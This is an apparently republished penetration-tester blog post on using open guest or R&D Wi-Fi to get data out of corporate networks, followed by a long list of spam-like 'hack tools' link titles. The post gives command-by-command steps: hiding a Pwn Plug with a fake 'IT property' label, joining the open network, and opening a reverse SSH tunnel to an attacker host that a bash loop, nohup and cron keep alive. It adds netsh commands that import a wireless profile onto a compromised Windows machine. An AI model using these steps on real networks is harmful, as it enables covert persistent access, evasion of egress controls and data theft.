Backchannel Data Exfiltration Via Guest/R&D Wi-Fi


Often times I find unprotected wireless access points with unfettered access to the internet for research or guest access purposes. This is generally through an unauthenticated portal or a direct cable connection. When questioning the business units they explain a low value network, which is simply a internet pass thru separate from the internal network. This sounds reasonable and almost plausible however I usually explain the dangers of having company assets on an unprotected Wi-Fi and the dangers of client side exploits and MITM attacks. But there are a few other plausible scenarios one should be aware of that may scare you a bit more then the former discussion.

What about using OpenWifi as a backchannel data exfiltration medium?

An open Wi-Fi is a perfect data exfiltration medium for attackers to completely bypass egress filtering issues, DLP, proxy filtering issues and a whole bunch of other protection mechanisms in place to keep attackers from sending out shells and moving data between networks. This can easily be accomplished via dual homing your attack host utilizing multiple nic cards which are standard on almost all modern machines. Whether this is from physical access breach or via remote compromise the results can be deadly. Below are a few scenarios, which can lead to undetectable data exfiltration.




Scenario 1: (PwnPlug/Linux host with Wi-Fi adaptor)
The first useful scenario is when a physical perimeter has been breached and a small device from http://pwnieexpress.com/ known as a pwn-plug is installed into the target network or a linux host with a wireless card. I usually install pwn-plug's inside a closet or under a desk somewhere which is not visible and allows a network connection out to an attacker owned host. Typically its a good idea to label the small device as "IT property and Do Not Remove". This will keep a casual user from removing the device. However if there is network egress and proxy filtering present then our network connection may never reach a remote host. At this point your physical breach to gain network access to an impenetrable network perimeter will fail. Unless there happens to be an open cable Wi-Fi connection to an "inconsequential R&D network".

By simply attaching an Alpha card to the pwnplug you can connect to the R&D wireless network. You can then use this network as your outgoing connection and avoid corporate restrictions regarding outbound connections via metasploit or ssh. I have noticed that most clients these days are running heavy egress filtering and packet level protocol detection, which stops outbound connections. Rather then play the obfuscation game i prefer to bypass the restrictions all together using networks which have escaped corporate policy.

You can automate the following via a script if you wardrive the facility prior to entrance and gain insight into the open wireless network, or you can also configure the plug via serial connection on site provided you have time.

Connect to wifi:
ifconfig wlan0 up
iwconfig wlan0 essid [targetNetworkSSID]
dhclient wlan0

Run a reverse SSH tunnel:
ssh -R 3000:127.0.0.1:22 root@remoteHost.com

On the remote host you can retrieve your shell:
ssh -p 3000 User@localhost

Once you have authenticated with the pwnplug via your local host port forward you now have access into the internal network via an encrypted tunnel which will not be detected and fully bypass any corporate security restrictions. You can take this a bit further and setup some persistence in case the shell goes down.. This can be done via bash and nohup if you setup some ssh keys to handle authentication.. One example could be the following script:

Your bash script: 
#---------------------
#!/bin/bash
while true
do
 ssh -R 3000:127.0.0.1:22 root@remoteHost.com
 sleep 10
done
#---------------------

Run this with nohup like this:
nohup ./shell.sh &


Another simple way would be to setup a cron job to run a script with your ssh command on a specified interval for example every 5 minutes like so:

Cron job for every 5 minutes: 
*/5 * * * * /shell.sh



Scenario 2: (Remote Windows Compromise)
The second scenario is that of a compromised modern windows machine with a wireless card, this can be used to make a wireless connection outbound similar to the first scenario which will bypass restrictions by accessing an unrestricted network. As shown in "Vista Power Tools" paper written by Josh Wright you can use modern windows machines cards via the command line.
http://www.inguardians.com/pubs/Vista_Wireless_Power_Tools-Wright.pdf

Below are the commands to profile the networks and export a current profile then import a new profile for your target wireless network. Then from there you can connect and use that network to bypass corp restrictions provided that wireless network doesn't have its own restrictions.

Profile Victim machine and extract a wireless profile: 
netsh wlan show interfaces
netsh wlan show networks mode=bssid
netsh wlan show profiles
netsh wlan export profile name="CorpNetwork"

Then modify that profile to meet the requirements needed for the R&D network and import it into the victim machine.

Upload a new profile and connect to the network: 
netsh wlan add profile filename="R&D.xml"
netsh wlan show profiles
netsh wlan connect name="R&D"

If you check out Josh's excellent paper linked above you will also find ways of bridging between ethernet and wireless adaptors along with lots of other ideas and useful information.

I just got thinking the other day of ways to abuse so called guest or R&D networks and started writing down a few ideas based on scenarios which play out time and time again while penetration testing networks and running physical breach attacks. I hear all to often that a cable connection not linked to the corporate network is totally safe and I call bullshit on that.

More articles


  1. New Hack Tools
  2. Hak5 Tools
  3. Hak5 Tools
  4. Hacking Tools For Beginners
  5. Hack Tools For Windows
  6. Hack Tools Github
  7. Hack Website Online Tool
  8. What Are Hacking Tools
  9. Pentest Tools Windows
  10. Hacker Tools Github
  11. New Hacker Tools
  12. Pentest Tools Website
  13. Beginner Hacker Tools
  14. Nsa Hack Tools
  15. Hack Tools Pc
  16. Hack Tools Mac
  17. Pentest Tools Framework
  18. Hacker Tools Github
  19. Pentest Tools Online
  20. What Is Hacking Tools
  21. Hacking Tools For Windows
  22. Tools For Hacker
  23. How To Install Pentest Tools In Ubuntu
  24. Hack Rom Tools
  25. Pentest Tools Free
  26. Android Hack Tools Github
  27. Hacker Tool Kit
  28. Pentest Reporting Tools
  29. Github Hacking Tools
  30. Pentest Tools Website
  31. Hackrf Tools
  32. Hacker Search Tools
  33. Hacker Tools Free
  34. Hacking Tools Mac
  35. Hacking Tools For Windows 7
  36. Growth Hacker Tools
  37. Black Hat Hacker Tools
  38. Hacking Tools For Kali Linux
  39. Hacker Tools Apk
  40. Tools For Hacker
  41. Hack Tools Pc
  42. Hacking Tools For Windows 7
  43. Kik Hack Tools
  44. Hacking Apps
  45. Hack Tools For Games
  46. Hacker Tools Free
  47. Hacking Tools 2019
  48. Ethical Hacker Tools
  49. Bluetooth Hacking Tools Kali
  50. Pentest Tools Framework
  51. Hack Tools Mac
  52. Hacking Tools For Kali Linux
  53. Hacker Tools Linux
  54. Hack Tools Download
  55. Hack Tools Github
  56. Pentest Reporting Tools
  57. Hackers Toolbox
  58. Hacker Search Tools
  59. Nsa Hack Tools Download
  60. Pentest Tools Download
  61. Pentest Tools Apk
  62. Hacker Tools Software
  63. Hacking Tools For Windows 7
  64. Hacking Tools For Mac
  65. Hacking Tools Kit
  66. Hack Tools For Games
  67. How To Hack
  68. Hacker Tools For Windows
  69. Hacker Techniques Tools And Incident Handling
  70. Tools 4 Hack
  71. Pentest Tools For Windows
  72. Pentest Tools Bluekeep
  73. Nsa Hack Tools
  74. Pentest Box Tools Download
  75. What Are Hacking Tools
  76. Underground Hacker Sites
  77. Hacking Tools For Kali Linux
  78. Hack Tools Mac
  79. Hacker Tools Software
  80. Hacking App

No hay comentarios:

Publicar un comentario